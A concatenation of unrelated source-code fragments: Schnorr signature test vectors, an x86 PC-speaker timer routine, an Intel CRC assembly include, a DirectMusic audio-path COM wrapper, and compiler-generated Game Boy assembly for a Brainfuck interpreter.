{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "6896BD60EEAE296DB48A229FF71DFE071BDE413E6D43F917DC8DCF8C78DE33418906D11AC976ABCCB20B091292BFF4EA897EFCB639EA871CFA95F6DE339E4B0A"}, true},
{{"DD308AFEC5777E13121FA72B9CC1B7CC0139715309B086C960E18FD969774EB8", "7E2D58D8B3BCDF1ABADEC7829054F90DDA9805AAB56C77333024B9D0A508B75C", "5831AAEED7B44BB74E5EAB94BA9D4294C49BCF2A60728D8B4C200F50DD313C1BAB745879A5AD954A72C45A91C3A51D3C7ADEA98D82F8481E0E1E03674A6F3FB7"}, true},
{{"25D1DFF95105F5253C4022F628A996AD3A0D95FBF21D468A1B33F8C160D8F517", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", "7EB0509757E246F19449885651611CB965ECC1A187DD51B64FDA1EDC9637D5EC97582B9CB13DB3933705B32BA982AF5AF25FD78881EBB32771FC5922EFC66EA3"}, true},
{{"D69C3509BB99E412E68B0FE8544E72837DFA30746D8BE2AA65975F29D22DC7B9", "4DF3C3F68FCC83B27E9D42C90431A72499F17875C81A599B566C9889B9696703", "00000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C6376AFB1548AF603B3EB45C9F8207DEE1060CB71C04E80F593060B07D28308D7F4"}, true},
{{"EEFDEA4CDB677750A420FEE807EACF21EB9898AE79B9768766E4FAA04A2D4A34", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "6CFF5C3BA86C69EA4B7376F31A9BCB4F74C1976089B2D9963DA2E5543E17776969E89B4C5564D00349106B8497785DD7D1D713A8AE82B32FA79D5F7FC407D39B"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "FFF97BD5755EEEA420453A14355235D382F6472F8568A18B2F057A14602975563CC27944640AC607CD107AE10923D9EF7A73C643E166BE5EBEAFA34B1AC553E2"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "1FA62E331EDBC21C394792D2AB1100A7B432B013DF3F6FF4F99FCB33E0E1515F28890B3EDB6E7189B630448B515CE4F8622A954CFE545735AAEA5134FCCDB2BD"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "6CFF5C3BA86C69EA4B7376F31A9BCB4F74C1976089B2D9963DA2E5543E177769961764B3AA9B2FFCB6EF947B6887A226E8D7C93E00C5ED0C1834FF0D0C2E6DA6"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "0000000000000000000000000000000000000000000000000000000000000000123DDA8328AF9C23A94C1FEECFD123BA4FB73476F0D594DCB65C6425BD186051"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "00000000000000000000000000000000000000000000000000000000000000017615FBAF5AE28864013C099742DEADB4DBA87F11AC6754F93780D5A1837CF197"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "4A298DACAE57395A15D0795DDBFD1DCB564DA82B0F269BC70A74F8220429BA1D69E89B4C5564D00349106B8497785DD7D1D713A8AE82B32FA79D5F7FC407D39B"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F69E89B4C5564D00349106B8497785DD7D1D713A8AE82B32FA79D5F7FC407D39B"}, false},
{{"DFF1D77F2A671C5F36183726DB2341BE58FEAE1DA2DECED843240F7B502BA659", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "6CFF5C3BA86C69EA4B7376F31A9BCB4F74C1976089B2D9963DA2E5543E177769FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141"}, false},
{{"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC30", "243F6A8885A308D313198A2E03707344A4093822299F31D0082EFA98EC4E6C89", "6CFF5C3BA86C69EA4B7376F31A9BCB4F74C1976089B2D9963DA2E5543E17776969E89B4C5564D00349106B8497785DD7D1D713A8AE82B32FA79D5F7FC407D39B"}, false}
};
for (const auto& test : VECTORS) {
auto pubkey = ParseHex(test.first[0]);
auto msg = ParseHex(test.first[1]);
auto sig = ParseHex(test.first[2]);
BOOST_CHECK_EQUAL(XOnlyPubKey(pubkey).VerifySchnorr(uint256(msg), sig), test.second);
}
}
BOOST_AUTO_TEST_SUITE_END()
|
%include "../../defaults_bin.asm"
int 0x61
mov di,0xffff
mov bx,di
mov cx,di
in al,0x61
or al,3
out 0x61,al
mov al,TIMER2 | BOTH | MODE3 | BINARY
out 0x43,al
loopTop:
mov ax,bx ; high word ffff
mul di ; *ffff = fffe:0001
mov bx,dx ; new high word fffe
xchg cx,ax ; low word <-> new low word 0001 <> ffff
mul di ; *ffff = fffe:0001
add cx,dx ; ffff
adc bx,0 ; fffe
; mov ax,bx
; int 0x63
; mov ax,cx
; int 0x63
; mov al,10
; int 0x65
mov al,bl
out 0x42,al
mov al,bh
out 0x42,al
cmp bx,0
jne loopTop
; cmp cx,0
; jne loopTop
in al,0x61
and al,0xfc
out 0x61,al
int 0x62
int 0x67
;c = d*2^(-b*t)
;
;
;t = 0 : c(0) = d = 65536
;t = 1 : c(1) = 65536*2^(-b*1) = 65535 2^(-b) = 65535/65536 -b = log(65535/65536) b = log_2(65536/65535) = 0.00002201394726395550201651307832236
;
;
; d = FFFF:FFFF
;2^-b = 0000:FFFF
;d = bx:cx
; ffff ffff
; fffe ffff
; fffe 0000
; fffd 0002
; fffc 0004
;
; 0001 0000
; 0000 ffff
; fffe
; fffd
; fffc
; fff
;
;
; fffe 0001
; fffe
;
; fffe ffff
;
;
; fffe:ffff * ffff =
;
; fffd 0002
; fffe 0001
;
;
; fffe:0001 * ffff =
;
; fffd 0002
; 0000 ffff
;
;
; fffd:0002 * ffff =
;
; fffc 0003
; 0001 fffe
;
;
; 0001:0000 * ffff =
;
; 0000 ffff
; 0000 ffff
|
;;
;; Copyright (c) 2020, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/aesni_emu.inc"
%define CRC16_FP_DATA_FN crc16_fp_data_sse_no_aesni
%define CRC11_FP_HEADER_FN crc11_fp_header_sse_no_aesni
%define CRC7_FP_HEADER_FN crc7_fp_header_sse_no_aesni
%define CRC32_FN crc32_by8_sse_no_aesni
%include "sse/crc32_fp_sse.asm"
|
#include "stdafx.h"
#include "Direct.h"
#include "dms.h"
#include "dMusAudioPathObj.h"
#include "dsound3dbuffer.h"
#include "dsoundbufferobj.h"
#include "dsoundprimarybufferobj.h"
#include "dsound3dlistener.h"
#include "dsoundFXGargleobj.h"
#include "dsoundFXEchoobj.h"
#include "dsoundFXChorusobj.h"
#include "dsoundFXCompressorobj.h"
#include "dsoundFXDistortionobj.h"
#include "dsoundFXFlangerobj.h"
#include "dsoundfxi3dl2reverbobj.h"
#if 0
#include "dsoundfxi3dl2sourceobj.h"
#include "dsoundfxsendobj.h"
#endif
#include "dsoundfxparameqobj.h"
#include "dsoundfxwavesreverbobj.h"
extern void *g_dxj_DirectSoundFXWavesReverb;
extern void *g_dxj_DirectSoundFXCompressor;
extern void *g_dxj_DirectSoundFXChorus;
extern void *g_dxj_DirectSoundFXGargle;
extern void *g_dxj_DirectSoundFXEcho;
extern void *g_dxj_DirectSoundFXSend;
extern void *g_dxj_DirectSoundFXDistortion;
extern void *g_dxj_DirectSoundFXFlanger;
extern void *g_dxj_DirectSoundFXParamEQ;
extern void *g_dxj_DirectSoundFXI3DL2Reverb;
#if 0
extern void *g_dxj_DirectSoundFXI3DL2Source;
#endif
extern HRESULT AudioBSTRtoGUID(LPGUID,BSTR);
extern void *g_dxj_DirectMusicAudioPath;
extern void *g_dxj_DirectSoundPrimaryBuffer;
///////////////////////////////////////////////////////////////////
// InternalAddRef
///////////////////////////////////////////////////////////////////
DWORD C_dxj_DirectMusicAudioPathObject::InternalAddRef(){
DWORD i;
i=CComObjectRoot::InternalAddRef();
DPF2(1,"DirectMusicAudioPath [%d] AddRef %d \n",creationid,i);
return i;
}
///////////////////////////////////////////////////////////////////
// InternalRelease
///////////////////////////////////////////////////////////////////
DWORD C_dxj_DirectMusicAudioPathObject::InternalRelease(){
DWORD i;
i=CComObjectRoot::InternalRelease();
DPF2(1,"DirectMusicAudioPath [%d] Release %d \n",creationid,i);
return i;
}
///////////////////////////////////////////////////////////////////
// C_dxj_DirectMusicAudioPathObject
///////////////////////////////////////////////////////////////////
C_dxj_DirectMusicAudioPathObject::C_dxj_DirectMusicAudioPathObject(){
DPF1(1,"Constructor Creation DirectMusicAudioPath Object[%d] \n ",g_creationcount);
m__dxj_DirectMusicAudioPath = NULL;
parent = NULL;
pinterface = NULL;
nextobj = g_dxj_DirectMusicAudioPath;
creationid = ++g_creationcount;
g_dxj_DirectMusicAudioPath = (void *)this;
}
///////////////////////////////////////////////////////////////////
// ~C_dxj_DirectMusicAudioPathObject
///////////////////////////////////////////////////////////////////
C_dxj_DirectMusicAudioPathObject::~C_dxj_DirectMusicAudioPathObject()
{
DPF(1,"Entering ~C_dxj_DirectMusicAudioPathObject destructor \n");
C_dxj_DirectMusicAudioPathObject *prev=NULL;
for(C_dxj_DirectMusicAudioPathObject *ptr=(C_dxj_DirectMusicAudioPathObject *)g_dxj_DirectMusicAudioPath ; ptr; ptr=(C_dxj_DirectMusicAudioPathObject *)ptr->nextobj)
{
if(ptr == this)
{
if(prev)
prev->nextobj = ptr->nextobj;
else
g_dxj_DirectMusicAudioPath = (void*)ptr->nextobj;
DPF(1,"DirectMusicAudioPathObject found in g_dxj list now removed\n");
break;
}
prev = ptr;
}
if(m__dxj_DirectMusicAudioPath){
int count = IUNK(m__dxj_DirectMusicAudioPath)->Release();
#ifdef DEBUG
char AudioPath[256];
wsprintf(AudioPath,"DirectX IDirectMusicAudioPath Ref count [%d] \n",count);
#endif
if(count==0) m__dxj_DirectMusicAudioPath = NULL;
}
if(parent) IUNK(parent)->Release();
}
HRESULT C_dxj_DirectMusicAudioPathObject::InternalGetObject(IUnknown **pUnk){
*pUnk=(IUnknown*)m__dxj_DirectMusicAudioPath;
return S_OK;
}
HRESULT C_dxj_DirectMusicAudioPathObject::InternalSetObject(IUnknown *pUnk){
m__dxj_DirectMusicAudioPath=(IDirectMusicAudioPath8*)pUnk;
return S_OK;
}
HRESULT C_dxj_DirectMusicAudioPathObject::GetObjectInPath(long lPChannel, long lStage, long lBuffer, BSTR guidObject, long lIndex, BSTR iidInterface, IUnknown **ppObject)
{
HRESULT hr;
GUID guidObj;
GUID guidIID;
__try {
if (FAILED (hr = AudioBSTRtoGUID(&guidObj, guidObject) ) )
return hr;
if (FAILED (hr = AudioBSTRtoGUID(&guidIID, iidInterface ) ) )
return hr;
if( 0==_wcsicmp(iidInterface,L"iid_idirectsound3dbuffer")){
IDirectSound3DBuffer *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSound3dBuffer, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(iidInterface,L"iid_idirectsoundbuffer8")){
IDirectSoundBuffer8 *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundBuffer, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(iidInterface,L"iid_idirectsoundbuffer")){
IDirectSoundBuffer *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundPrimaryBuffer, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(iidInterface,L"iid_idirectsound3dlistener")){
IDirectSound3DListener *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSound3dListener, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_gargle")){
IDirectSoundFXGargle *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXGargle, lpRetObj, ppObject);
}
#if 0
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_send")){
IDirectSoundFXSend *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXSend, lpRetObj, ppObject);
}
#endif
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_echo")){
IDirectSoundFXEcho *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXEcho, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_chorus")){
IDirectSoundFXChorus *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXChorus, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_compressor")){
IDirectSoundFXCompressor *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXCompressor, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_distortion")){
IDirectSoundFXDistortion *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXDistortion, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_flanger")){
IDirectSoundFXFlanger *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXFlanger, lpRetObj, ppObject);
}
#if 0
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_i3dl2source")){
IDirectSoundFXI3DL2Source *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXI3DL2Source, lpRetObj, ppObject);
}
#endif
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_i3dl2reverb")){
IDirectSoundFXI3DL2Reverb *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXI3DL2Reverb, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_standard_parameq")){
IDirectSoundFXParamEq *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXParamEQ, lpRetObj, ppObject);
}
else if( 0==_wcsicmp(guidObject,L"guid_dsfx_waves_reverb")){
IDirectSoundFXWavesReverb *lpRetObj = NULL;
if (FAILED ( hr= m__dxj_DirectMusicAudioPath->GetObjectInPath((DWORD) lPChannel, (DWORD) lStage, (DWORD) lBuffer, guidObj, (DWORD) lIndex, guidIID, (void**) &lpRetObj) ) )
return hr;
INTERNAL_CREATE(_dxj_DirectSoundFXWavesReverb, lpRetObj, ppObject);
}
else
return E_INVALIDARG;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return E_FAIL;
}
return S_OK;
}
HRESULT C_dxj_DirectMusicAudioPathObject::Activate(VARIANT_BOOL fActive)
{
HRESULT hr;
__try {
if (FAILED (hr = m__dxj_DirectMusicAudioPath->Activate((BOOL) fActive) ) )
return hr;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return E_FAIL;
}
return S_OK;
}
HRESULT C_dxj_DirectMusicAudioPathObject::SetVolume(long lVolume, long lDuration)
{
HRESULT hr;
__try {
if (FAILED (hr = m__dxj_DirectMusicAudioPath->SetVolume(lVolume, (DWORD) lDuration) ) )
return hr;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return E_FAIL;
}
return S_OK;
}
|
;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.7.1 #10455 (MINGW64)
;--------------------------------------------------------
.module main
.optsdcc -mgbz80
;--------------------------------------------------------
; Public variables in this module
;--------------------------------------------------------
.globl _main
.globl _key_hold
.globl _key_push
.globl _read_joypad
.globl _copy_to_oam_obj
.globl _set_obj
.globl _set_win_map_tile
.globl _update_bg_map_tile
.globl _set_bg_map_tile
.globl _set_bg_chr
.globl _fill
.globl _fastcpy
.globl _set_win_map_select
.globl _set_bg_map_select
.globl _cursor_obj
.globl _bf_screen_out_y
.globl _bf_screen_out_x
.globl _bf_cell
.globl _bf_cell_p
.globl _bf_pc
.globl _bf_instr
.globl _bf_instr_p
.globl _run_interpreter
.globl _bf_hello_world
.globl _bf_instruction_char
.globl _ob1_palette
.globl _ob0_palette
.globl _bg_palette
.globl _inc_bf_instr_p
.globl _dec_bf_instr_p
.globl _inc_bf_cell_p
.globl _dec_bf_cell_p
.globl _inc_bf_pc
.globl _dec_bf_pc
.globl _bf_editor
.globl _bf_editor_update_instr
.globl _bf_editor_redraw_instr
.globl _bf_clear_screen
.globl _bf_interpreter
.globl _bf_get_char
;--------------------------------------------------------
; special function registers
;--------------------------------------------------------
;--------------------------------------------------------
; ram data
;--------------------------------------------------------
.area _DATA
_run_interpreter::
.ds 1
_bf_instr_p::
.ds 2
_bf_instr::
.ds 2048
_bf_pc::
.ds 2
_bf_cell_p::
.ds 2
_bf_cell::
.ds 2048
_bf_screen_out_x::
.ds 1
_bf_screen_out_y::
.ds 1
_cursor_obj::
.ds 4
;--------------------------------------------------------
; absolute external ram data
;--------------------------------------------------------
.area _DABS (ABS)
;--------------------------------------------------------
; global & static initialisations
;--------------------------------------------------------
.area _HOME
.area _GSINIT
.area _GSFINAL
.area _GSINIT
;--------------------------------------------------------
; Home
;--------------------------------------------------------
.area _HOME
.area _HOME
;--------------------------------------------------------
; code
;--------------------------------------------------------
.area _CODE
;src/main.c:92: void main(){
; ---------------------------------
; Function main
; ---------------------------------
_main::
add sp, #-8
;src/gb.h:135: inline void disable_display(){while((*reg(REG_LCD_STAT) & LCD_STAT_MODE_FLAG) != 1); *reg(REG_LCDC) &= ~LCDC_DISPLAY_ENABLE;}
00118$:
ld de, #0xff41
ld a,(de)
ld c, a
ld b, #0x00
ld a, c
and a, #0x03
ld c, a
ld b, #0x00
ld a, c
dec a
or a, b
jr NZ,00118$
ld de, #0xff40
ld a,(de)
res 7, a
ld hl, #0xff40
ld (hl), a
;src/main.c:94: ei();
ei
;src/main.c:95: fastcpy(HRAM, oam_dma_wait, oam_dma_wait_size);
ld hl, #_oam_dma_wait_size
ld c, (hl)
ld b, #0x00
push bc
ld hl, #_oam_dma_wait
push hl
ld hl, #0xff80
push hl
call _fastcpy
add sp, #6
;src/main.c:97: vblank_happened = false;
ld hl, #_vblank_happened
ld (hl), #0x00
;src/gb.h:129: inline void enable_int(uint8_t _int){*reg(REG_INT) |= _int;}
ld de, #0xffff
ld a,(de)
set 0, a
ld hl, #0xffff
ld (hl), a
;src/main.c:100: set_bg_pal(bg_palette);
ld hl, #_bg_palette
ld a, (hl)
;src/gb.h:152: inline void set_bg_pal(uint8_t _data){*reg(REG_BGP) = _data;}
ld hl, #0xff47
ld (hl), a
;src/main.c:101: set_obj_pal0(ob0_palette);
ld hl, #_ob0_palette
ld a, (hl)
;src/gb.h:153: inline void set_obj_pal0(uint8_t _data){*reg(REG_OBP0) = _data;}
ld hl, #0xff48
ld (hl), a
;src/main.c:102: set_obj_pal1(ob1_palette);
ld hl, #_ob1_palette
ld a, (hl)
;src/gb.h:154: inline void set_obj_pal1(uint8_t _data){*reg(REG_OBP1) = _data;}
ld hl, #0xff49
ld (hl), a
;src/main.c:104: set_bg_map_select(false);
xor a, a
push af
inc sp
call _set_bg_map_select
inc sp
;src/main.c:105: set_win_map_select(true);
ld a, #0x01
push af
inc sp
call _set_win_map_select
inc sp
;src/main.c:106: set_bg_chr(bg_tiles, 0x0000, sizeof(bg_tiles));
ld hl, #0x1000
push hl
ld h, #0x00
push hl
ld hl, #_bg_tiles
push hl
call _set_bg_chr
add sp, #6
;src/main.c:107: fill(BG_MAP, ' ', 0x0400);
ld hl, #0x0400
push hl
ld a, #0x20
push af
inc sp
ld h, #0x98
push hl
call _fill
add sp, #5
;src/main.c:108: fill(WIN_MAP, ' ' + 0x80, 0x0400);
ld hl, #0x0400
push hl
ld a, #0xa0
push af
inc sp
ld h, #0x9c
push hl
call _fill
add sp, #5
;src/main.c:109: { uint8_t _x = 0, _y = 0;
ld c, #0x00
ldhl sp,#7
ld (hl), #0x00
;src/main.c:110: for(uint16_t i = 0xA0; i < 0x100; i++){
dec hl
dec hl
ld (hl), #0xa0
inc hl
ld (hl), #0x00
00134$:
ldhl sp,#5
ld a, (hl)
sub a, #0x00
inc hl
ld a, (hl)
sbc a, #0x01
jp NC, 00105$
;src/main.c:111: set_win_map_tile_xy(_x + BF_KEYBOARD_X, _y + BF_KEYBOARD_Y, i);
ldhl sp,#5
ld b, (hl)
ld a, c
inc a
dec hl
ld (hl), a
;src/gb.h:165: inline void set_win_map_tile_xy(uint8_t _x, uint8_t _y, uint8_t _tile){set_win_map_tile((_y << 5) + _x, _tile);}
ldhl sp,#7
ld e, (hl)
ld d, #0x00
sla e
rl d
sla e
rl d
sla e
rl d
sla e
rl d
sla e
rl d
inc sp
inc sp
push de
ldhl sp,#4
ld a, (hl-)
dec hl
ld (hl+), a
ld (hl), #0x00
pop de
push de
dec hl
ld a, (hl+)
ld h, (hl)
ld l, a
add hl, de
ld a, l
ld d, h
ldhl sp,#2
ld (hl+), a
ld (hl), d
push bc
push bc
inc sp
dec hl
ld a, (hl+)
ld h, (hl)
ld l, a
push hl
call _set_win_map_tile
add sp, #3
pop bc
;src/main.c:112: if(++_x >= BF_KEYBOARD_W){
inc c
ld a, c
sub a, #0x12
jr C,00135$
;src/main.c:113: _x = 0;
ld c, #0x00
;src/main.c:114: if(++_y >= BF_KEYBOARD_H)
ldhl sp,#7
inc (hl)
ld a, (hl)
sub a, #0x06
jr C,00135$
;src/main.c:115: _y = 0;
ld (hl), #0x00
00135$:
;src/main.c:110: for(uint16_t i = 0xA0; i < 0x100; i++){
ldhl sp,#5
inc (hl)
jp NZ,00134$
inc hl
inc (hl)
jp 00134$
00105$:
;src/gb.h:173: inline void set_bg_scroll(uint8_t _sx, uint8_t _sy){scroll_x = _sx; scroll_y = _sy;}
ld hl, #_scroll_x
ld (hl), #0x00
ld hl, #_scroll_y
ld (hl), #0x00
;src/gb.h:174: inline void set_win_offset(uint8_t _ox, uint8_t _oy){offset_x = _ox + 7; offset_y = _oy;}
ld hl, #_offset_x
ld (hl), #0x07
ld hl, #_offset_y
ld (hl), #0x90
;src/gb.h:136: inline void enable_bg(){*reg(REG_LCDC) |= LCDC_BG_ENABLE;}
ld de, #0xff40
ld a,(de)
ld c, a
ld b, #0x00
set 0, c
ld hl, #0xff40
ld (hl), c
;src/gb.h:138: inline void enable_win(){*reg(REG_LCDC) |= LCDC_WIN_ENABLE;}
ld de, #0xff40
ld a,(de)
ld c, a
ld b, #0x00
set 5, c
ld l, #0x40
ld (hl), c
;src/gb.h:140: inline void enable_obj(){*reg(REG_LCDC) |= LCDC_OBJ_ENABLE;}
ld de, #0xff40
ld a,(de)
ld c, a
ld b, #0x00
set 1, c
ld l, #0x40
ld (hl), c
;src/gb.h:134: inline void enable_display(){*reg(REG_LCDC) |= LCDC_DISPLAY_ENABLE;}
ld de, #0xff40
ld a,(de)
ld c, a
ld b, #0x00
set 7, c
ld l, #0x40
ld (hl), c
;src/main.c:127: bf_instr_p = 0;
ld hl, #_bf_instr_p
ld (hl), #0x00
inc hl
ld (hl), #0x00
;src/main.c:128: for(uint16_t i = 0;i < sizeof(bf_instr); i++) bf_instr[i] = 0;
ld bc, #0x0000
00137$:
ld a, b
sub a, #0x08
jr NC,00106$
ld hl, #_bf_instr
add hl, bc
ld a, l
ld d, h
ldhl sp,#2
ld (hl+), a
ld (hl), d
dec hl
ld a, (hl+)
ld h, (hl)
ld l, a
ld (hl), #0x00
inc bc
jr 00137$
00106$:
;src/main.c:129: bf_pc = 0;
ld hl, #_bf_pc
ld (hl), #0x00
inc hl
ld (hl), #0x00
;src/main.c:130: bf_cell_p = 0;
ld hl, #_bf_cell_p
ld (hl), #0x00
inc hl
ld (hl), #0x00
;src/main.c:131: for(uint16_t i = 0;i < sizeof(bf_cell); i++) bf_cell[i] = 0;
ld bc, #0x0000
00140$:
ld a, b
sub a, #0x08
jr NC,00107$
ld hl, #_bf_cell
add hl, bc
ld a, l
ld d, h
ldhl sp,#2
ld (hl+), a
ld (hl), d
dec hl
ld a, (hl+)
ld h, (hl)
ld l, a
ld (hl), #0x00
inc bc
jr 00140$
00107$:
;src/main.c:132: bf_screen_out_x = 0;
ld hl, #_bf_screen_out_x
ld (hl), #0x00
;src/main.c:133: bf_screen_out_y = 0;
ld hl, #_bf_screen_out_y
ld (hl), #0x00
